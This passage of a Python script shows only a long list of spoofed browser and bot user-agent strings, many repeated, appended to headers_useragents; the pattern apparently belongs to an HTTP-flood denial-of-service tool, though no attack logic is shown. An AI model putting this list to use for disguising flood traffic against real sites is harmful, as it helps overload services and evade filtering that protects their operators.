  800.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  801.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  802.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  803.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  804.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  805.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  806.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  807.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  808.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  809.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  810.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  811.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  812.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  813.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  814.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  815.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  816.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  817.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  818.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  819.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  820.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  821.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  822.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  823.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  824.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  825.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  826.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  827.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  828.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  829.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  830.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  831.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  832.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  833.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  834.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  835.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  836.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  837.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  838.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  839.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  840.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  841.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  842.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  843.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  844.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  845.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  846.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  847.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  848.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  849.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  850.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  851.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  852.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  853.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  854.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  855.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  856.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  857.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  858.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  859.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  860.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  861.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  862.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  863.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  864.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  865.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  866.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  867.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  868.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  869.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  870.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  871.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  872.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  873.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  874.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  875.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  876.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  877.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  878.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  879.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  880.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  881.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  882.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  883.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  884.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  885.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  886.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  887.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  888.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  889.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  890.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  891.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  892.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  893.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  894.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  895.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  896.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  897.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  898.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  899.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  900.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  901.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  902.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  903.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  904.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  905.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  906.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  907.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  908.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  909.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  910.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  911.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  912.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  913.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  914.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  915.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  916.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  917.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  918.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  919.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  920.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  921.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  922.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  923.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  924.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  925.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  926.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  927.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  928.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  929.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  930.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  931.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  932.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  933.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  934.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  935.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  936.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  937.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  938.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  939.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  940.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  941.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  942.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  943.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  944.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  945.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  946.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  947.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  948.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  949.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  950.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  951.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  952.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  953.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  954.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  955.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  956.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  957.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  958.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  959.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  960.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  961.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  962.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  963.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  964.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  965.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  966.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  967.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  968.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  969.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  970.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  971.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  972.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  973.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  974.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  975.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  976.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  977.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  978.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  979.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  980.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  981.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  982.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  983.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  984.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  985.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  986.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  987.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  988.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  989.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  990.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  991.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  992.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  993.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  994.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  995.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  996.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  997.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  998.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  999.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1000.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1001.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1002.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
